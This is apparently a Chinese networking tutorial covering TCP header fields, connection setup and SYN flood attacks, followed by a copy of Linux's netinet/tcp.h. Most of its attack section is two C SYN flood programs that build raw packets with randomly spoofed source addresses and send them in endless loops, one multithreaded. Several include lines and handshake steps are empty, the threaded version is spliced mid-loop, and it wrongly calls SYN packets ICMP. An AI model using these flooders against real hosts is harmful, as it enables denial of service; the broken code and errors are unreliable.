一、建立TCP连接需要三次握手才能建立,在认识TCP三次握手前,我们先来看看TCP报文首部结构:
源端口和目的端口字段:各占2字节。端口是传输层与应用层的服务接口。传输层的复用和分用功能都要通过端口才能实现
序号字段:占4字节。TCP连接中传送的数据流中的每一个字节都编上一个序号。序号字段的值则指的是本报文段所发送的数据的第一个字节的序号。
确认号字段(ack):占4字节,是期望收到对方的下一个报文段的数据的第一个字节的序号。
数据偏移(即首部长度):占4位,它指出TCP报文段的数据起始处距离TCP报文段的起始处有多远。“数据偏移”的单位是32位字(以4字节为计算单位)。
保留字段:占6位,保留为今后使用,但目前应置为0。
紧急 URG:当URG= 1 时,表明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据)。
确认 ACK: 只有当ACK= 1 时确认号字段才有效。当 ACK= 0时,确认号无效。
推送 PSH(PuSH): 接收TCP收到PSH= 1 的报文段,就尽快地交付接收应用进程,而不再等到整个缓存都填满了后再向上交付。
复位 RST(ReSeT): 当RST= 1 时,表明 TCP连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。
同步 SYN:同步SYN= 1表示这是一个连接请求或连接接受报文。
终止 FIN(FINis): 用来释放一个连接。FIN= 1 表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。
窗口字段—— 占 2 字节,用来让对方设置发送窗口的依据,单位为字节紧急指针字段 : 占16位,指出在本报文段中紧急数据共有多少个字节(紧急数据放在本报文段数据的最前面)。
选项字段 :长度可变。TCP最初只规定了一种选项,即最大报文段长度MSS。MSS告诉对方TCP:“我的缓存所能接收的报文段的数据字段的最大长度是MSS个字节。”
MSS(MaximumSegment Size)是TCP 报文段中的数据字段的最大长度。数据字段加上TCP 首部才等于整个的TCP 报文段。
填充字段 ——这是为了使整个首部长度是4字节的整数倍。
(1)
A的TCP向B发出连接请求报文段,其首部中的同步位SYN= 1,并选择序号seq =x,表明传送数据时的第一个数据字节的序号是x。
(2)
(3)
三、TCP连接的释放
(1)
(2)
(1)SYN洪水攻击也称为拒绝服务攻击,它利用了TCP的三次握手,利用大量的TCP连接请求造成目标机的资源耗尽,而不能提供正常的服务或者服务质量下降。
(2)SYN洪水攻击原理:
一般情况下的TCP连接函数connect(),经历了三次握手,如果从IP层协议来看,客户端先发送SYN请求,服务器对客户端的SYN进行响应,而客服端对服务器的响应再次进行确认后才建立了一个TCP的连接,在服务器发送响应后,要等待一段时间才能获得客户端的确认,即第二次和第三次握手之间有一个超时时间,SYN攻击就是利用了这个时机。
SYN攻击利用第二次握手的手段如下:
(1)主机A发送ICMP的SYN请求给主机B,主机A发送的报文的源IP地址是一个伪造的IP,主机B的第二次握手之后要等待一段时间,接收主机A的确认包,在超时时间内此资源一直在占用,如果主机B的处理TCP三次握手的资源不能满足处理主机A的SYN请求数量,则主机B的可用资源就会慢慢减少,知道耗尽。
(2)主机A发送的报文是原始报文,发送报文的速度可以达到很高,因此有足够的资源能对目标机造成影响。
Linux系统中的TCP报文头文件:
#ifndef _NETINET_TCP_H
#define _NETINET_TCP_H 1
#include
/*
* User-settable options (used with setsockopt).
*/
#define TCP_NODELAY 1 /* Don't delay send to coalesce packets */
#define TCP_MAXSEG 2 /* Set maximum segment size */
#define TCP_CORK 3 /* Control sending of partial frames */
#define TCP_KEEPIDLE 4 /* Start keeplives after this period */
#define TCP_KEEPINTVL 5 /* Interval between keepalives */
#define TCP_KEEPCNT 6 /* Number of keepalives before death */
#define TCP_SYNCNT 7 /* Number of SYN retransmits */
#define TCP_LINGER2 8 /* Life time of orphaned FIN-WAIT-2 state */
#define TCP_DEFER_ACCEPT 9 /* Wake up listener only when data arrive */
#define TCP_WINDOW_CLAMP 10 /* Bound advertised window */
#define TCP_INFO 11 /* Information about this connection. */
#define TCP_QUICKACK 12 /* Bock/reenable quick ACKs. */
#define TCP_CONGESTION 13 /* Congestion control algorithm. */
#define TCP_MD5SIG 14 /* TCP MD5 Signature (RFC2385) */
#define TCP_COOKIE_TRANSACTIONS 15 /* TCP Cookie Transactions */
#define TCP_THIN_LINEAR_TIMEOUTS 16 /* Use linear timeouts for thin streams*/
#define TCP_THIN_DUPACK 17 /* Fast retrans. after 1 dupack */
#define TCP_USER_TIMEOUT 18 /* How long for loss retry before timeout */
#define TCP_REPAIR 19 /* TCP sock is under repair right now */
#define TCP_REPAIR_QUEUE 20 /* Set TCP queue to repair */
#define TCP_QUEUE_SEQ 21 /* Set sequence number of repaired queue. */
#define TCP_REPAIR_OPTIONS 22 /* Repair TCP connection options */
#define TCP_FASTOPEN 23 /* Enable FastOpen on listeners */
#define TCP_TIMESTAMP 24 /* TCP time stamp */
#ifdef __USE_MISC
# include
# include
typedef u_int32_t tcp_seq;
/*
* TCP header.
* Per RFC 793, September, 1981.
*/
struct tcphdr
{
__extension__ union
{
struct
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_off:4; /* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN 0x01
# define TH_SYN 0x02
# define TH_RST 0x04
# define TH_PUSH 0x08
# define TH_ACK 0x10
# define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};
struct
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
# elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
# else
# error "Adjust your defines"
# endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
};
};
enum
{
TCP_ESTABLISHED = 1,
TCP_SYN_SENT,
TCP_SYN_RECV,
TCP_FIN_WAIT1,
TCP_FIN_WAIT2,
TCP_TIME_WAIT,
TCP_CLOSE,
TCP_CLOSE_WAIT,
TCP_LAST_ACK,
TCP_LISTEN,
TCP_CLOSING /* now a valid state */
};
# define TCPOPT_EOL 0
# define TCPOPT_NOP 1
# define TCPOPT_MAXSEG 2
# define TCPOLEN_MAXSEG 4
# define TCPOPT_WINDOW 3
# define TCPOLEN_WINDOW 3
# define TCPOPT_SACK_PERMITTED 4 /* Experimental */
# define TCPOLEN_SACK_PERMITTED 2
# define TCPOPT_SACK 5 /* Experimental */
# define TCPOPT_TIMESTAMP 8
# define TCPOLEN_TIMESTAMP 10
# define TCPOLEN_TSTAMP_APPA (TCPOLEN_TIMESTAMP+2) /* appendix A */
# define TCPOPT_TSTAMP_HDR \
(TCPOPT_NOP<<24|TCPOPT_NOP<<16|TCPOPT_TIMESTAMP<<8|TCPOLEN_TIMESTAMP)
/*
* Default maximum segment size for TCP.
* With an IP MSS of 576, this is 536,
* but 512 is probably more convenient.
* This should be defined as MIN(512, IP_MSS - sizeof (struct tcpiphdr)).
*/
# define TCP_MSS 512
# define TCP_MAXWIN 65535 /* largest value for (unscaled) window */
# define TCP_MAX_WINSHIFT 14 /* maximum window shift */
# define SOL_TCP 6 /* TCP level */
# define TCPI_OPT_TIMESTAMPS 1
# define TCPI_OPT_SACK 2
# define TCPI_OPT_WSCALE 4
# define TCPI_OPT_ECN 8 /* ECN was negociated at TCP session init */
# define TCPI_OPT_ECN_SEEN 16 /* we received at least one packet with ECT */
# define TCPI_OPT_SYN_DATA 32 /* SYN-ACK acked data in SYN sent or rcvd */
/* Values for tcpi_state. */
enum tcp_ca_state
{
TCP_CA_Open = 0,
TCP_CA_Disorder = 1,
TCP_CA_CWR = 2,
TCP_CA_Recovery = 3,
TCP_CA_Loss = 4
};
struct tcp_info
{
u_int8_t tcpi_state;
u_int8_t tcpi_ca_state;
u_int8_t tcpi_retransmits;
u_int8_t tcpi_probes;
u_int8_t tcpi_backoff;
u_int8_t tcpi_options;
u_int8_t tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4;
u_int32_t tcpi_rto;
u_int32_t tcpi_ato;
u_int32_t tcpi_snd_mss;
u_int32_t tcpi_rcv_mss;
u_int32_t tcpi_unacked;
u_int32_t tcpi_sacked;
u_int32_t tcpi_lost;
u_int32_t tcpi_retrans;
u_int32_t tcpi_fackets;
/* Times. */
u_int32_t tcpi_last_data_sent;
u_int32_t tcpi_last_ack_sent; /* Not remembered, sorry. */
u_int32_t tcpi_last_data_recv;
u_int32_t tcpi_last_ack_recv;
/* Metrics. */
u_int32_t tcpi_pmtu;
u_int32_t tcpi_rcv_ssthresh;
u_int32_t tcpi_rtt;
u_int32_t tcpi_rttvar;
u_int32_t tcpi_snd_ssthresh;
u_int32_t tcpi_snd_cwnd;
u_int32_t tcpi_advmss;
u_int32_t tcpi_reordering;
u_int32_t tcpi_rcv_rtt;
u_int32_t tcpi_rcv_space;
u_int32_t tcpi_total_retrans;
};
/* For TCP_MD5SIG socket option. */
#define TCP_MD5SIG_MAXKEYLEN 80
struct tcp_md5sig
{
struct sockaddr_storage tcpm_addr; /* Address associated. */
u_int16_t __tcpm_pad1; /* Zero. */
u_int16_t tcpm_keylen; /* Key length. */
u_int32_t __tcpm_pad2; /* Zero. */
u_int8_t tcpm_key[TCP_MD5SIG_MAXKEYLEN]; /* Key (binary). */
};
/* For socket repair options. */
struct tcp_repair_opt
{
u_int32_t opt_code;
u_int32_t opt_val;
};
/* Queue to repair, for TCP_REPAIR_QUEUE. */
enum
{
TCP_NO_QUEUE,
TCP_RECV_QUEUE,
TCP_SEND_QUEUE,
TCP_QUEUES_NR,
};
/* For cookie transactions socket options. */
#define TCP_COOKIE_MIN 8 /* 64-bits */
#define TCP_COOKIE_MAX 16 /* 128-bits */
#define TCP_COOKIE_PAIR_SIZE (2*TCP_COOKIE_MAX)
/* Flags for both getsockopt and setsockopt */
#define TCP_COOKIE_IN_ALWAYS (1 << 0) /* Discard SYN without cookie */
#define TCP_COOKIE_OUT_NEVER (1 << 1) /* Prohibit outgoing cookies,
* supercedes everything. */
/* Flags for getsockopt */
#define TCP_S_DATA_IN (1 << 2) /* Was data received? */
#define TCP_S_DATA_OUT (1 << 3) /* Was data sent? */
#define TCP_MSS_DEFAULT 536U /* IPv4 (RFC1122, RFC2581) */
#define TCP_MSS_DESIRED 1220U /* IPv6 (tunneled), EDNS0 (RFC3226) */
struct tcp_cookie_transactions
{
u_int16_t tcpct_flags;
u_int8_t __tcpct_pad1;
u_int8_t tcpct_cookie_desired;
u_int16_t tcpct_s_data_desired;
u_int16_t tcpct_used;
u_int8_t tcpct_value[TCP_MSS_DEFAULT];
};
#endif /* Misc. */
#endif /* netinet/tcp.h */
SYN洪水攻击的例子:
//syn攻击
//用法 ./syn hostname destport sourport
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//校验和
unsigned short checksum(unsigned char *addr,int len);
//退出信号处理函数
void signal(int sig)
{
printf("终止syn攻击\n");
exit(1);
}
int main(int argc,char** argv)
{
int skfd,port;
struct sockaddr_in target;
struct hostent *host;
const int on=1;
unsigned short srcport;
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
port=atoi(argv[2]);
if (port<0)
{
perror("port error");
exit(1);
}
target.sin_port=htons(port);
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//开启IP_HDRINCL特性,我们自己手动构造IP报文
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit(1);
}
//只有root用户才可以使用原始套接字
//setuid(getpid());
//源端口
srcport = atoi(argv[3]);
// printf("%s\n",argv[3]);
signal(SIGINT, signal);
attack(skfd,&target,srcport);
}
//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport)
{
char buf[128]={0};
struct ip *ip;
struct tcphdr *tcp;
int ip_len;
//在我们TCP的报文中Data没有字段,所以整个IP报文的长度
ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
//开始填充IP首部
ip=(struct ip*)buf;
//IP的版本
ip->ip_v = IPVERSION;
//IP都不长度,字节数
ip->ip_hl = sizeof(struct ip)>>2;
//服务类型
ip->ip_tos = 0;
//ip报文总长度
ip->ip_len = htons(ip_len);
//标志
ip->ip_id=0;
//段的偏移地址
ip->ip_off=0;
//最大的生存时间
ip->ip_ttl=MAXTTL;
//协议类型
ip->ip_p=IPPROTO_TCP;
//校验和,先填0
ip->ip_sum=0;
//发送的目标地址
ip->ip_dst=target->sin_addr;
//开始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->th_sport = htons(srcport);
tcp->th_dport = target->sin_port;
tcp->th_seq = random();
tcp->th_off = 5;
tcp->th_flags=TH_SYN;
tcp->th_sum = 0;
tcp->th_win=65535;
while(1)
{
//源地址伪造
ip->ip_src.s_addr =random();
tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校验和
sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
}
}
//关于CRC校验和的计算
unsigned short checksum(unsigned char *buf,int len)
{
unsigned int sum=0;
unsigned short *cbuf;
cbuf=(unsigned short *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2; //剩余尚未累加的16比特的个数
}
if(len) //若len的长度不是偶数
sum+=*(unsigned char *)cbuf; //用最后一个字节补齐
//防溢出处理
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
当然也可以用我们前面的TCP服务器进行测试:
服务器端:
SYN测试:
端口检测:
服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,但是却一直收不到回复,直到超时才回收资源,这样持续下去将消耗目标机的资源。
多线程代码:
//syn攻击
//用法 ./syn hostname destport
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//最多线程数
#define MAXCHILD 128
struct sockaddr_in target;
int skfd,alive=1;
//攻击函数
void attack();
//校验和
unsigned short checksum(unsigned char *addr,int len);
void *DoS_fun (void * args)
{
while(alive)
{
attack();
break;
}
return NULL;
}
//信号处理函数,设置退出变量alive
void DoS_sig(int signo)
{
alive = 0;
}
int main(int argc,char** argv)
{
int port;
struct hostent *host;
const int on=1;
pthread_t pthread[MAXCHILD]; //线程标志数组
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
port=atoi(argv[2]);
if (port<0)
{
perror("port error");
exit(1);
}
target.sin_port=htons(port);
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//开启IP_HDRINCL特性,我们自己手动构造IP报文
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))
{
perror("IP_HDRINCL failed");
exit(1);
}
//只有root用户才可以使用原始套接字
//setuid(getpid());
signal(SIGINT, DoS_sig);
for(int i=0; iip_v = IPVERSION;
//IP都不长度,字节数
ip->ip_hl = sizeof(struct ip)>>2;
//服务类型
ip->ip_tos = 0;
//ip报文总长度
ip->ip_len = htons(ip_len);
//标志
ip->ip_id=0;
//段的偏移地址
ip->ip_off=0;
//最大的生存时间
ip->ip_ttl=MAXTTL;
//协议类型
ip->ip_p=IPPROTO_TCP;
//校验和,先填0
ip->ip_sum=0;
//发送的目标地址
ip->ip_dst=target.sin_addr;
//开始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->th_sport = random();
tcp->th_dport = target.sin_port;
tcp->th_seq = random();
tcp->th_off = 5;
tcp->th_flags=TH_SYN;
tcp->th_sum = 0;
tcp->th_win=65535;
//源地址伪造
ip->ip_src.s_addr =random();
tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校验和
sendto(skfd,buf,ip_len,0,(struct sockaddr*)&target,sizeof(struct sockaddr_in));
}
//关于CRC校验和的计算
unsigned short checksum(unsigned char *buf,int len)
{
unsigned int sum=0;
unsigned short *cbuf;
cbuf=(unsigned short *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2; //剩余尚未累加的16比特的个数
}
if(len) //若len的长度不是偶数
sum+=*(unsigned char *)cbuf; //用最后一个字节补齐
//防溢出处理
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}